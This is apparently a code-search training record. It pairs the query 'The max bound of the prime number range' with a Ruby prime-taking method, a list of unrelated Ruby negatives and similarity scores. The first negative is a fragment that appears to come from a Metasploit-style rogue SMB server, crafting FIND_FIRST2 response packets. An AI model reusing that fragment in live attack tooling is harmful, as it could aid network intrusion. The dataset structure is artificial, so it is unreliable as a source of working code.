pkt['Payload'].v['DataCount'] = 94 + filename.length\n pkt['Payload'].v['DataOffset'] = 68\n pkt['Payload'].v['Payload'] = \"\\x00\" + # Padding\n\n # FIND_FIRST2 Parameters\n \"\\xfd\\xff\" + # Search ID\n \"\\x01\\x00\" + # Search count; 1\n \"\\x01\\x00\" + # End Of Search\n \"\\x00\\x00\" + # EA Error Offset\n \"\\x00\\x00\" + # Last Name Offset\n \"\\x00\\x00\" + # Padding\n \n # FIND_FIRST2 Data\n \"\\x00\\x00\\x00\\x00\" + # Next Entry Offset\n \"\\x00\\x00\\x00\\x00\" + # File Index\n [@lo, @hi].pack(\"VV\") + # Created\n [@lo, @hi].pack(\"VV\") + # Last Access\n [@lo, @hi].pack(\"VV\") + # Last Write\n [@lo, @hi].pack(\"VV\") + # Change\n [@filesize].pack(\"V\") + \"\\x00\\x00\\x00\\x00\" + # End Of File\n [@filesize].pack(\"V\") + \"\\x00\\x00\\x00\\x00\" + # Allocation size\n \"\\x80\\x00\\x00\\x00\" + # File Attributes\n [filename.length].pack(\"V\") + # File Name Len\n \"\\x00\\x00\\x00\\x00\" + # EA List Length\n \"\\x18\" + # Short file Length, 24 bytes\n \"\\x00\" + # Reserved\n (\"\\x00\" * 24) + # Short File Name\n filename\n \n c.put(pkt.to_s)\n\n else\n\n # only warn on other find_first commands is verbose logging is enabled\n if @verbose == true then print_status(\"#{smb[:name]}/#{smb[:user_id]}: SMB_COM_TRANSACTION2 (Subcommand: FIND_FIRST2 (0x0001); Search Pattern: '#{filename}'; UNKNOWN/UNEXPECTED)\") end\n smb_error(CONST::SMB_COM_TRANSACTION2, c, 0xc0000022) # SMB_STATUS_ACCESS_DENIED\n\n end\n\n end",
"def find_value_after_0(step, iterations)\n pos = 0\n pos_of_0 = 0\n val_of_after_0 = 0\n buffer_length = 1\n\n # Fill the buffer...\n (1..iterations).each do |i|\n # Find the current position for this iteration.\n pos = (pos + step) % buffer_length\n\n # Keep track of the position of 0 and the value after it.\n val_of_after_0 = i if pos == pos_of_0\n pos_of_0 += 1 if pos < pos_of_0\n\n # Update the new current position and buffer length.\n pos += 1\n buffer_length += 1\n end\n\n val_of_after_0\nend",
"def search(text, hours_ago, p)\n data = []\n file_and_range = calculate_files_and_range(hours_ago, p)\n return unless file_and_range\n files = file_and_range[:files]\n range_start = file_and_range[:range_start]\n range_end = file_and_range[:range_end]\n data = get_search_results(data, files, range_start, range_end, text)\n if file_and_range[:filter] == true\n filter_search_result(data, file_and_range[:start_seconds], file_and_range[:end_seconds])\n end\n\n p += 1\n\n while data.empty? && range_end < files.length\n range_start = PAGE_SIZE * p\n range_end = range_start + (PAGE_SIZE - 1)\n data = get_search_results(data, files, range_start, range_end, text)\n p += 1\n end\n\n return { data: data, page: p - 1, has_more: range_end < files.length, count: data.length }\n end",
"def find_file(path, future_file_paths)\n return path if File.exist?(path) || Pathname.new(path).absolute?\n modulepath = Bolt::Config::Modulepath.new(config.modulepath)\n modules = Bolt::Module.discover(modulepath.full_modulepath, config.project)\n mod, file = path.split(File::SEPARATOR, 2)\n\n if modules[mod]\n @logger.debug(\"Did not find file at #{File.expand_path(path)}, checking in module '#{mod}'\")\n found = Bolt::Util.find_file_in_module(modules[mod].path, file || \"\", future_file_paths)\n path = found.nil? ? File.join(modules[mod].path, 'files', file) : found\n end\n path\n end",
"def slow_dance(dir, arr)\n tiles_array.find_index(dir)\nend",
"def find(boundary,value,start,stop)\n return start if start == stop\n mid_index, mid_time = find_middle(start,stop)\n # puts \"+ find_#{boundary} (#{value}, #{start}, #{stop}) [mid_index #{mid_index}:#{mid_time}]\"\n if mid_time == value\n find_adjacent(boundary,value,start,stop,mid_index)\n elsif mid_time > value\n mid_index -= 1 if mid_index == stop\n find(boundary, value, start, mid_index)\n elsif mid_time < value\n mid_index += 1 if mid_index == start\n find(boundary, value, mid_index, stop)\n end\n end",
"def lookup_key(key)\n hash = get_hash(key)\n path = File.join(@index_folder, \"#{hash}.index\")\n @logger.fine(\"Using index file '#{path}'\")\n return nil unless File.exist?(path)\n\n index_data = []\n File.open(path, 'rb') do |f|\n timestamp = read_int(0, f)\n raise IndexError.new('Index is out of date') if timestamp != @data_timestamp\n index_data = f.read\n end\n\n it = index_data.each_byte\n while it.peek\n k = unpack_string(it) # First read a null terminated string.\n o = unpack_int(it) # Then a long that represents the offset.\n return o if k.eql?(key) # If the string and key match, then the long is the required offset.\n return nil if k > key # If the unpacked key is greater than the required key, we can return immediately.\n end\n rescue StopIteration\n # EOF without finding anything.\n rescue IndexError\n raise IndexError.new(\"Error encountered while processing index file '#{path}'\", $!)\n end",
"def seek(amount, whence = IO::SEEK_SET)\n case whence\n when IO::SEEK_CUR\n @offset += amount\n when IO::SEEK_SET\n raise Errno::EINVAL if amount < 0\n @offset = amount\n when IO::SEEK_END\n @offset = size + amount\n end\n @offset\n end",
"def noninc_search(dir, pchar)\r\n cxt = _rl_nsearch_init(dir, pchar)\r\n if (rl_isstate(RL_STATE_CALLBACK))\r\n return (0)\r\n end\r\n # Read the search string.\r\n r = 0\r\n while (true)\r\n c = _rl_search_getchar(cxt)\r\n if (c == 0.chr)\r\n break\r\n end\r\n r = _rl_nsearch_dispatch(cxt, c)\r\n if (r < 0)\r\n return 1\r\n elsif (r == 0)\r\n break\r\n end\r\n end\r\n\r\n r = _rl_nsearch_dosearch(cxt)\r\n (r >= 0) ? _rl_nsearch_cleanup(cxt, r) : (r != 1)\r\n end",
"def find_path(char)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # use request\n request = @request[char]\n # if no nodes to test\n if request.open.size == 0\n # abort testing for this character\n @request.delete(char)\n # resets state\n char.ai.state = (char.ai.state == Invalid ? Return : Ready)\n # stop execution\n return []\n end\n # found\n found = false\n # find minimal key\n key = request.open.keys.min {|a, b|\n Math.hypot(a[0] - request.tx, a[1] - request.ty) <=>\n Math.hypot(b[0] - request.tx, b[1] - request.ty)}\n # this node is now logged as checked\n request.closed[key[0], key[1]] = request.open[key]\n # remove this node from the pending array\n request.open.delete(key)\n # iterate through all possible directions with relative offsets\n Cache::PathDirs.each {|dir|\n # coordinates of new position\n kx, ky = key[0] + dir[0], key[1] + dir[1]\n # if new coordinates are destination\n if kx == request.tx && ky == request.ty\n # the new node was checked\n request.closed[kx, ky] = dir[2]\n # path was found\n found = true\n # stop checking\n break\n # if new node not checked yet and coordinates are passable\n elsif request.closed[kx, ky] == 0 &&\n char.passable?(key[0] * pix, key[1] * pix, dir[2])\n # add new node to be checked\n request.open[[kx, ky]] = dir[2]\n end}\n # stop execution except if found path\n return nil unless found\n # backtrack the path\n result = request.backtrack\n # finish testing for this character\n @request.delete(char)\n # resets state\n char.ai.state = (char.ai.state == Invalid ? Return : Ready)\n # return movement command array\n return result\n end",
"def next_offset\n [all_contents.size + 1, offset + limit].min\n end",
"def move \n while true \n choose_next_position \n if [:found, :fail].include? @result\n break \n end\n end\n end",
"def get_file_sequence\n sequence = 0\n @all_files ||= Bplmodels::Finder.getFiles(object_id)\n @all_files.each do |_file_type, files_array|\n files_array.each_with_index do |img, index|\n sequence = index if img['id'] == pid\n end\n end\n sequence\n end",
"def angry_spinlock(filename)\n\n step = File.open(File.join('data', filename)).map(&:strip).select{|line| !line.empty?}\n .first.to_i\n\n pos = 0\n size = 1\n last_at_1 = 0\n\n (1..50000000).each{|x|\n\n pos = ((pos + step) % size) + 1\n size += 1\n\n # Was this number (x) the latest to want to be written at position 1?\n if (pos == 1) then last_at_1 = x end\n\n }\n\n return last_at_1\nend",
"def find_nth_file(basename, index = T.unsafe(nil)); end",
"def find_first(value,start,stop)\n return start if time_at(start) > value\n find(:first,value,start,stop)\n end",
"def write_pos_file()\r\n last_update = File.exist?(@pos.pos_file) ? File.mtime(@pos.pos_file) : Time.at(0)\r\n for state in @watched_files.values\r\n if last_update < state.last_emit\r\n @pos.write_to_file()\r\n break\r\n end\r\n end\r\n end",
"def binary_search(array, length, value_to_find)\n mid_point = length/2\n mid = array[mid_point]\n counter = 0\n\n until mid == value_to_find || counter > length\n if mid > value_to_find\n mid_point = mid_point/2\n else \n mid_point = (length - mid_point)/2 + mid_point\n end\n\n mid = array[mid_point]\n counter += 1\n end\n\n mid == value_to_find\nend",
"def wait_templates_on_the_screen(expected_num_templates_on_screen, template_path, timeout = 20, threshold_value = 0.8, take_res_if_expect_fail = true)\n logc(\"method: #{__method__}, params: #{expected_num_templates_on_screen}, #{template_path},\" + \n \" #{timeout}, #{threshold_value} #{take_res_if_expect_fail}\")\n\n time_start = Time.now\n time_end = time_start + timeout.to_i\n logc(\"Checking will be ended at '#{time_end}'\")\n\n res_image_path = File.join(@report_path,\n \"#{@scenario_name.to_s.gsub(\" \", \"_\").downcase}\" +\n \"_result_find_template_\" +\n \"#{File.basename(template_path)}\")\n\n #wait for time_end reached OR expectation reached\n res_of_finding = nil\n occurrences = nil\n attempt_counter = 1\n while true\n attempt_time = Time.now\n logc(\"Attempt: '#{attempt_counter}', time: #{attempt_time}\")\n res_of_finding = find_templates_on_the_screen(template_path, res_image_path, threshold_value)\n occurrences = res_of_finding[\"point_clouds\"].to_i\n\n if (occurrences == expected_num_templates_on_screen) || (attempt_time > time_end)\n break\n else\n attempt_counter += 1\n sleep 1\n end\n end\n\n assert_false_custom(occurrences.nil? || res_of_finding.nil?,\n \"Error: template occurrences or res_of_finding on image can't be nil. Check find method\")\n\n logc(\"Occurrences found: #{occurrences}\\n Time spent to wait expected result: #{Time.now - time_start}\")\n\n is_expectation_reached = (occurrences == expected_num_templates_on_screen)\n # remove_file_if_exist(res_image_path) if is_expectation_reached || !take_res_if_expect_fail\n\n return res_of_finding\nend",
"def index\n \t@current_actions_from_user = Action.find(:all, :conditions=>[\"person_id=? and progress in('open','in_progress')\", current_user.id], :order=>\"creation_date\")\n \t#@recent_current_actions_from_user = @current_actions_from_user.select { |action| (Time.now - action.creation_date) < 72}\n end",
"def seek(arg0, arg1, *rest)\n end",
"def smartWait(waitScreenShotFile, waitTime=0, waitRegion=0)\n\t## TODO\n\tduration = 0\n\tmatchFound = nil\n\trealWaitScreenShotFile = getScreenshotFile(waitScreenShotFile)\n\t\n\tif waitTime == 0\n\t\twaitTime = getAutoWaitTimeout()\n\tend\n\t\n\twhile matchFound.nil? and duration < waitTime\n\t\tif not @waitRegion.nil?\n\t\t\tmatchFound = waitRegion.exists(realWaitScreenShotFile, 0.5)\n\t\telse\n\t\t\tmatchFound = exists(realWaitScreenShotFile, 0.5)\n\t\tend\n\t\t\n\t\tif matchFound.nil?\n\t\t\tsleep(1)\n\t\t\tduration = duration + 1.5 # 1.5s because we slept for 1s and searched for 0.5s\n\t\tend\n\tend\n\t\n\treturn matchFound\nend",
"def select_timeout\n if @time_events.any?\n nearest = nearest_time_event\n now = (Time.now.to_f * 1000).truncate\n if nearest.process_at < now\n 0\n else\n (nearest.process_at - now) / 1000.0\n end\n else\n 0\n end\n end",
"def backtrack_searching(location, expectation)\n result = location.dup\n line = lines[result[0] - 1]\n begin\n if (expectation_location = line.rindex(expectation, result[1]))\n result[1] = expectation_location\n return result\n end\n result[0] -= 1\n line = lines[result[0] - 1]\n result[1] = line.size\n end while result[0] >= 0\n location\n end",
"def consume_seek(pos)\n orig = consume_pos\n if pos < 0\n pos = consume_pos + pos\n pos = 0 if pos < 0\n end\n @consume_pos = pos\n orig\n end",
"def selcect_behavior_of(component, state, event, start_from_index = 0)\n last_index = start_from_index\n ecb_detecting = ECBDetecting.new(component, state, event)\n target_script = @seq_file_content[start_from_index...@seq_file_content.size].select do |item|\n last_index += 1\n ecb_detecting.in_ecb?(item)\n end\n return target_script, last_index\n end"
] |
[
"0.60095817",
"0.53200203",
"0.5279065",
"0.51741594",
"0.51152444",
"0.51143277",
"0.5034979",
"0.50088876",
"0.49413612",
"0.48829132",
"0.47969675",
"0.47834408",
"0.47834408",
"0.47777817",
"0.4761641",
"0.47480258",
"0.47463036",
"0.47145933",
"0.47036147",
"0.46304908",
"0.4626925",
"0.46153843",
"0.46038756",
"0.45997176",
"0.4584834",
"0.45447612",
"0.45329154",
"0.45315117",
"0.45313668",
"0.4514535",
"0.44651732",
"0.44513363",
"0.44475418",
"0.44437948",
"0.44433594",
"0.44245046",
"0.44195393",
"0.44066596",
"0.43846714",
"0.43801057",
"0.43622565",
"0.4361723",
"0.43583038",
"0.4354185",
"0.43480268",
"0.4345418",
"0.4340775",
"0.43396467",
"0.43370605",
"0.43369934",
"0.4331562",
"0.43254972",
"0.43201396",
"0.43143618",
"0.43056154",
"0.4301464",
"0.42801577",
"0.42724246",
"0.42653137",
"0.42598465",
"0.42457914",
"0.4244547",
"0.42370462",
"0.42360008",
"0.42357704",
"0.42341802",
"0.42339307",
"0.42258647",
"0.4224359",
"0.4223553",
"0.42179623",
"0.4217615",
"0.4216361",
"0.42084008",
"0.42060345",
"0.42059904",
"0.4204597",
"0.42013913",
"0.41872042",
"0.4179915",
"0.41791975",
"0.4177338",
"0.4174394",
"0.4167908",
"0.4162581",
"0.41591123",
"0.41587406",
"0.41581848",
"0.41558725",
"0.41538572",
"0.41432884",
"0.41422224",
"0.414119",
"0.41316733",
"0.4124046",
"0.41202876",
"0.41193202",
"0.41135147",
"0.41088396",
"0.41068792"
] |
0.6711165
|
0
|
The max bound of the prime number range
|
def take(size)
raise ArgumentError if size < 1
range
.select { |v| prime? v }
.take(size - 1)
.to_a
.unshift(2) # adds 2 as we take only odd numbers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_upper_limit_of(range)\n range.max\nend",
"def get_upper_limit_of(range)\n range.max\nend",
"def largest_prime(number)\r\n limit = Math.sqrt(number).floor \r\n (2..limit).select { |n| number % n == 0 && Prime.prime?(n) }.max\r\nend",
"def upper_limit_for(desired_prime_number)\n i = 2\n while (i / Math.log(i)) < desired_prime_number do\n i = i + 1\n end\n return i\n end",
"def get_primes(upper_bound)\n primes = []\n (2..upper_bound).each do |potential_prime|\n is_prime = true #default to true if the below loop doesn't prove it false\n (2..(potential_prime - 1)).each do |divisor| #we start from 2 because that is the first number\n #that we know is not prime - 1 is there so we don't divide the number by itself because\n #we know that it is possible\n if potential_prime % divisor == 0\n is_prime = false\n break\n end\n end\n\n #HERE - we know if is_prime is true, it must be prime\n if is_prime\n primes << potential_prime #this is how you get all the numbers to the max number\n end\nend\n\n return primes\nend",
"def get_max_range\n return @maxRange\n end",
"def prime_range(min, max)\n\nend",
"def highest_prime_number_under(number)\n\nend",
"def sup_limit(max)\n (1..Float::INFINITY).lazy.map{|i| [i,Prime.take(i).reduce(:+)]}.detect{|i,sum| sum >= max}.first\nend",
"def max\r\n @range.max\r\n end",
"def upper_bound_for_nth_prime (n)\n return n * (Math.log(n) + Math.log(Math.log(n-1) ) )\n end",
"def get_upper_limit_of(range)\n range.end\nend",
"def get_upper_limit_of(range)\n range.last\nend",
"def get_upper_limit_of(range)\n\tn = 1..20\n\tn.last\nend",
"def max_multiple(divisor, bound)\n bound-bound%divisor\nend",
"def largest_prime_factor(input)\n prime = input\n (2..Math.sqrt(input).to_i).each do |i|\n # Here we use the square root function to cut our range down drastically\n break if prime <= 1\n while (prime > i && prime % i == 0) do\n prime /= i\n puts \"prime - #{prime}, i - #{i}\"\n end\n end\n prime\nend",
"def highest_prime_number_under(number)\n\t\tprimes = []\n\t\t2.upto(number).each do |x|\n\t\t\tif is_prime?(x) && x < number\n\t\t\t\tprimes << x\n\t\t\tend\n\t\tend\n\t\tprimes.max\n\tend",
"def highest_prime_number_under(number)\n until is_prime?(number)\n number -= 1\n end\n number\nend",
"def max\n @range.end\n end",
"def longest_consecutive_prime_under(max)\n primes = (1..max).select {|n| n.prime?}\n\n length = 1\n candidate = 2\n while length < (primes.length / 2)\n index = 0\n sum = primes[index..length].inject(:+)\n until primes.include?(sum) or sum > max or index + length > primes.length / 2\n index += 1\n sum = primes[index..(index + length)].inject(:+)\n end\n if primes.include?(sum) and sum < max\n # p primes[index..(index + length)]\n candidate = sum \n end\n length += 1\n end\n candidate\nend",
"def max\n @max ||= define_min_and_max && @max\n end",
"def highest_prime_number_under(number)\n start = number - 1\n start.downto(1) do |num|\n if is_prime?(num)\n return num\n end\n end\n end",
"def prime_range(lower_bound, higher_bound)\n Prime.each(higher_bound).select {|prime| prime >= lower_bound}\nend",
"def p005(upper_bound = 20)\n # This builds on the idea that any value which is a multiple of another value can be used instead of it\n # Also that the lowest common multiple is a product of the minimal set of prime-multiples that cover the factors\n # So e.g. the lowest common multiple of 1..6 would be 5 x 2 x 2 x 3 = 60, where 2 appears twice because 2 x 2 = 4\n required_factors = (2..upper_bound).to_a\n required_primes = {}\n required_factors.each do |factor|\n required_primes.merge!(Prime.prime_division(factor).to_h) do |_prime_factor, old_multiple, new_multiple|\n [old_multiple, new_multiple].max\n end\n end\n required_primes.reduce(1) { |common_multiple, prime_multiple| common_multiple * prime_multiple[0]**prime_multiple[1] }\nend",
"def largest_prime_factor(num)\n num.prime_division.last[0]\n end",
"def max_multiple(divisor, bound)\n bound - bound % divisor\nend",
"def getMaxPrime(numb)\n def isPrime(n)\n return false if n <= 1\n 2.upto(Math.sqrt(n).to_i) do |x|\n return false if n%x == 0\n end\n true\n end\n\n primes = []\n (2..10000).each { |x| primes << x if isPrime(x) }\n \n max = 0\n primes.each do |i|\n if numb % i == 0\n max = i\n end\n end\n puts max\nend",
"def highest_prime_number_under(number)\n highest_prime = 0\n for num in 1..number\n if is_prime?(num) && num > highest_prime\n highest_prime = num\n end\n end\n return highest_prime\nend",
"def max_prime_factor(num)\n return num if num == 1 || num < 1\n max_num = (num ** 0.5 + 1).to_i\n f = (2..max_num).find { |x| num % x == 0 } || num\n [f, max_prime_factor(num / f)].max\nend",
"def largest_prime_factor(num)\n num.downto(2) do |i|\n return i if (num % i).zero? && prime(i)\n end\nend",
"def approx_primes_in_range( n )\n\n end",
"def effective_maximum\n maximum_bound ? maximum_bound.value : Infinity\n end",
"def largest_prime_factor(num) \n num.downto(2).each do |factor|\n if num % factor == 0 && isPrime(factor)\n return factor\n end\n end\nend",
"def largest_prime_factor(num)\n (2..num).reverse_each do |factor|\n if (num % factor == 0 && Prime.prime?(factor))\n return factor\n end\n end\nend",
"def largest_prime_factor(num)\n num.downto(1).each do |divisor|\n if num % divisor == 0 && isprime?(divisor)\n return divisor\n end\n end\n return 1\nend",
"def largest_prime_factor num\n divisors = []\n max = 0\n\n (1..num).each { |el| divisors << el if num % el === 0 && isPrime(el)}\n\n max = divisors[0]\n\n divisors.each do |el|\n max = el if el > max \n end\n\n max\nend",
"def solution(range)\n ary = range.select(&:prime?).map do |n|\n n**Math.log(range.max, n).floor\n end.reduce(:*)\nend",
"def largest_prime_factor(num)\n track = 0\n (num).downto(2).each do |factor|\n \n if num % factor == 0 && prime?(factor)\n return factor\n end\n end\n \nend",
"def largest_prime_factor(num)\n lnum = nil\n (2..num).each do |factor|\n if num % factor == 0 && prime?(factor)\n lnum = factor\n end\n end\n lnum\nend",
"def largest_prime_factor(input)\n\n prime = input\n (2..Math.sqrt(input).to_i).each do |i|\n break if prime <= 1\n prime /= i while (prime > i && prime % i == 0)\n end\n prime\nend",
"def largest_prime_factor(num)\n num.downto(1) do |n|\n if num % n == 0 && prime?(n)\n return n\n end\n end\nend",
"def largest_prime_sum(limit)\n prime = get_primes(limit)\n sum_prime = sum_primes(prime)\n max_length = -1\n largest_prime_number = -1\n \n (0...prime.length).each do |i|\n (0...i).each do |j|\n break if (sum_prime[i] - sum_prime[j] > limit) \n consective_sum = sum_prime[i] - sum_prime[j]\n if ((max_length < i-j+1) and is_prime?(consective_sum))\n max_length = i-j+1\n largest_prime_number = consective_sum\n end\n \n end\n end\n largest_prime_number\nend",
"def largest_prime_factor(num)\n primes = []\n (1..num).each do |n|\n primes << n if num % n == 0 && is_prime?(n)\n end\n primes.max\nend",
"def highest_prime_number_under(number)\n prime = number - 1\n counter = 1\n until is_prime?(prime)\n prime -= 1\n end\n return prime\n end",
"def largest_prime_number(upper)\n answer = 2\n point = 3\n divisor = upper\n\n divisor /= 2 while divisor.even?\n\n while divisor != 1\n while (divisor % point) == 0\n answer = point\n divisor /= point\n end\n point += 2\n end\n answer\nend",
"def max_range(array)\n \nend",
"def largest_prime_factor(num)\n return num if prime?(num)\n\n prime_factors(num).max\nend",
"def largest_prime_factor(num)\n factors = (1..num).select { |factor| num % factor == 0}\n large_prime = factors.reverse.select { |i| return i if prime?(i)}\nend",
"def max_range(array)\r\n\r\n array.max - array.min # max and min methods used\r\nend",
"def largest_prime_factor(num)\n factors = []\n half_of_num = num / 2\n\n (2..half_of_num).each do |factor|\n if num % factor == 0\n factors << factor\n num = num / factor\n end\n end\n factors.max\nend",
"def highest_prime_number_under(number)\n counter = number\n number.times do\n if is_prime?(counter)\n p counter\n break\n else\n counter -= 1\n end\n end\nend",
"def largest_prime_factor(num)\n divisor = 1\n\n (2..num).each do |i|\n if num % i == 0 && is_prime?(i)\n divisor = i\n end\n end\n\n divisor\nend",
"def largest_prime_factor(num)\n\n def prime?(num)\n return false if num < 2\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n\n true\n end\n\n if prime?(num)\n return num\n end\n\n (num.downto(2)).each do |i|\n if prime?(i) && num % i == 0\n return i\n end\n end\nend",
"def highest_prime_number_under(number)\n highest_prime_number_under = 0\n ary = (number-1).downto(2).to_a\n ary.each do |x|\n counter = 0 \n (2..(x-1)).each do |num|\n if ( x % num ) == 0\n counter += 1\n else\n counter = counter\n end \n end \n \n if counter > 0 \n highest_prime_number_under = 0\n else \n highest_prime_number_under = x\n p \"The highest prime number under #{number} is \" + x.to_s\n break\n end\n end \nend",
"def largest_prime(n) #600851475143\r\n p = 0\r\n i = 5\r\n nums = []\r\n while i*i < n\r\n if n % i == 0\r\n nums << i\r\n end\r\n\r\n i += 1\r\n end\r\n\r\n nums.reverse_each do |num|\r\n if prime?(num)\r\n return num\r\n end\r\n end\r\n\r\nend",
"def largest_prime_factor(num)\n return nil if num <= 1\n (2..num).reverse_each do |n|\n return n if prime?(n) && num%n == 0\n end\nend",
"def largest_prime_factor(num)\n (1..num).reverse_each do |factor|\n if num % factor == 0 && prime?(factor)\n return factor\n end\n end\nend",
"def largest_prime_factor(num)\n i = num - 1\n\n while i > 1 \n if is_prime?(i) && num % i == 0\n return i \n end\n i -= 1\n end\n \n num\nend",
"def max_point\n # generate the bounding box if not already done\n bounding_box\n # return the max\n @max\n end",
"def largest_prime_factor (num)\n largest = 1\n (2..num).each do |ele|\n if num % ele == 0 && prime?(ele) && largest < ele\n largest = ele\n end\n end\n return largest\nend",
"def largest_prime_factor(num)\n i = num - 1\n while i >= 2\n if num % i == 0 && is_prime?(i) == true\n return i\n end\n i -= 1\n end\n num\nend",
"def bitMaxMin n\n l=2**n\n min=-l/2\n max=-min-1\n return max,min\nend",
"def max_multiple(divisor, bound)\n #your code here\n x = bound \n result = nil\n\n while result == nil do \n if x % divisor == 0\n result = x \n end\n x -= 1\n end\n return result\nend",
"def minmax\n [min, unbounded? ? INFINITY : max]\n end",
"def eratosthenes_sieve(max_number)\n numbers = (0..max_number+1).to_a\n bound = Math.sqrt(max_number).to_i\n\n (2..bound+1).each do |current|\n if numbers[current]\n (current+current..max_number+1).step(current).each do |j| numbers[j] = nil end\n end\n end\n\n return numbers.compact![2..-1]\nend",
"def range\n @range ||= 0.upto(@limit)\n end",
"def primes\n Prime::EratosthenesGenerator.new.take_while {|i| i <= @base}\n end",
"def max\n if @end.nil?\n ::Kernel.raise ::RangeError, 'cannot get the maximum of endless range'\n elsif block_given?\n super\n elsif !@begin.nil? && (@begin > @end ||\n @excl && @begin == @end)\n nil\n else\n `#{@excl} ? #{@end} - 1 : #{@end}`\n end\n end",
"def largest_prime_factor(num)\n i = num\n while i > 0\n if num%i == 0 && prime?(i)\n return i\n end\n i -= 1\n end\nend",
"def upper_bound; end",
"def calculateRange(b=2, e)\n\t\t# The number of elements we need to test to see if it's prime\n\t\trange = e - b + 1\n\t\t# We only need to find all primes up to sqrt(end) to vefiry the range since\n\t\t# any prime over sqrt(end) would need to be multiplied by a lower value, that\n\t\t# has already been verified, to be a multiple of a number inside the range (b, e)\n\t\tmaxDiv = (Math.sqrt e).to_i\n\t\tcalculateToNumber maxDiv\n\t\tprimesArray = Array.new\n\t\t# First populate the result array with all numbers from b to e\n\t\trange.times{|x| primesArray << b+x}\n\t\t# For each prime up to maxDiv we take all multiples of it that fall inside [b, e]\n\t\t@ps.each do |prime|\n\t\t\tbreak if prime > maxDiv\n\t\t\ttakeRange(prime, primesArray, b)\n\t\tend\n\t\tprimesArray = primesArray.compact\n\t\t# For intervals where b is less than sqrt e\n\t\tif b < ps.last then\n\t\t\tprimesArray = ps.collect{|x| x if x >= b}.compact.concat primesArray.collect{|x| x if x > ps.last}.compact\n\t\tend\n\t\treturn primesArray\n\tend",
"def largest_prime_factor(number)\n prime = 2\n max = 1\n while (prime <= number)\n if(number % prime == 0)\n max = prime\n number = number/prime\n else\n prime += 1\n end\n end\n max\nend",
"def xRange(max)\n (@x > 0 ? @x - 1 : @x)..(@x < max - 1 ? @x + 1 : @x) \n end",
"def largest_prime_factor(num)\n puts \"num = #{num}\"\n Prime.first(num).select {|i| i}\nend",
"def largest_prime_factor(num)\n factors = []\n\n (1..num).each do |i|\n if num % i == 0\n factors << i \n end\n end\n\n primes = []\n factors.each do |num|\n if is_prime?(num)\n primes << num \n end\n end\n\n primes.max\nend",
"def get_max_num\n r,t,a = 0, 0, 9**self\n while r < t.to_s.size\n r,t = r + 1, t+a\n end\n return t\n end",
"def largest_prime_factor\n number = 600851475143\n n = 2\n while n < number\n if number % n == 0\n factor = number / n\n return factor if is_prime?(factor)\n end\n n += 1\n end\nend",
"def max; end",
"def max; end",
"def largest_prime_factor(n, r = [])\n prime = Prime.lazy\n r = r || []\n if n.prime?\n r << n\n return r\n else\n factor = prime.find { |j| n % j == 0 } # 用find，找到第一个就结束\n r << factor\n prime.rewind\n largest_prime_factor (n / factor), r\n end\n r.max\nend",
"def largest_prime_factor_of(num)\n max = num\n test = 3\n best = 1\n\n while (max >= test) do\n if max % test == 0\n best = test\n max = max / test\n else\n test += 2\n end\n end\n best\nend",
"def largest_prime_factor(num)\n prime_factors = []\n (2..num).each do |n|\n prime_factors << n if prime?(n) && num % n == 0\n end\n prime_factors[-1]\nend",
"def primes_upto( xmax )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n ( 3..xmax ).each do |i|\n puts i if 0 == ( i % 1000 )\n is_prime = true\n primes.each do |p|\n break if p > ( i / 2 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n end # i\n return primes\nend",
"def largest_prime_factor(num)\n\ti=2 \n\tquotient = 0\n\twhile(quotient != 1) do\n\t\ti +=1\n\t\tif(is_prime?(i) && (num % i == 0))\n\t\t\tdivisor = quotient == 0 ? num : quotient\n\t\t\tquotient = divisor / i\n\t\tend\t\n\tend\n\treturn i \nend",
"def bounds(arr)\n min, max = arr.min(), arr.max()\n range = max - min\n # how many figures in the range\n range_digits = Math.log10(range).ceil()\n range_scale = 10.0**(range_digits-1)\n min_bound = ((min / range_scale) - 1) * range_scale\n max_bound = ((max / range_scale) + 1) * range_scale\n return min_bound, max_bound, range_scale\n end",
"def max\n [self.begin, self.end].max\n end",
"def largest_prime_factor(num)\n divisors = []\n (2..num).each do |divisor|\n if num % divisor == 0\n if prime?(divisor)\n divisors << divisor\n end\n end\n end\n divisors[-1]\nend",
"def highest_prime_of(factors)\n factors.each do |factor|\n if check_prime(factor)\n return factor\n end\n end\nend",
"def largest_prime(int)\n def is_prime?(int)\n div = 2\n until div >= int\n return false if int % div == 0\n div += 1\n end\n true\n end\n remainder = int\n divider = 2\n prime_factors = []\n while divider < remainder\n if remainder % divider == 0 && is_prime?(divider)\n prime_factors << divider\n remainder /= divider\n end\n divider += 1\n end\n prime_factors << remainder\n puts prime_factors\n prime_factors.max\nend",
"def largest_prime_factor(input)\n lpf = 2\n\n while lpf < input\n\n if input % lpf == 0\n\n input = input / lpf\n lpf = 2\n else\n lpf += 1\n end\n end\n\n return lpf\nend",
"def largest_prime(number)\n is_prime = false\n current_num = number\n divisor = 2\n max_prime = 1\n\n while is_prime != true && divisor <= current_num\n if current_num % divisor === 0\n current_num /= divisor\n if divisor > max_prime\n max_prime = divisor\n end\n divisor = 2\n else\n divisor += 1\n end\n\n if divisor > current_num\n is_prime = true\n end\n end\n\n puts max_prime\n return max_prime\nend",
"def windowed_max_range(arr, range)\n current_max_range = nil\n\n arr.each_index do |idx|\n idx2 = idx + range\n break if idx2 > (arr.length - 1)\n window = arr[idx..idx2]\n p diff = window.max - window.min\n current_max_range = diff if current_max_range.nil? || diff > current_max_range\n end\n current_max_range\nend",
"def max_tb_rangeE; @max_se; end",
"def largest_prime_factor(num)\n (0..num).reduce { |acc, n| prime?(n) && (num % n).zero? ? n : acc }\nend",
"def sum_of_primes(upper_bound)\n Prime.each(upper_bound).reduce(:+)\nend",
"def mini_max\nend",
"def prime_factors(num)\n factors = num.prime_division\n factors.to_a\n largest_factor = factors[-1][0]\n p largest_factor\nend",
"def largestPrimeFactor(num)\n\t(2..num).each do |n|\n\t\treturn num if num <= n\n\t\tnum /= n if (num > n && num % n == 0)\n\tend\nend",
"def smallest_multiple(max_range)\n\tnumber = max_range\n\tcounter = 1\n\twhile counter != max_range\n\t\tcounter = 1\n\t\t(2..max_range).each do |i|\n\t\t\tif number % i == 0\n\t\t\t\tcounter += 1\n\t\t\tend\n\t\tend\n\t\tnumber += max_range\n\tend\n\n\tnumber - max_range\nend",
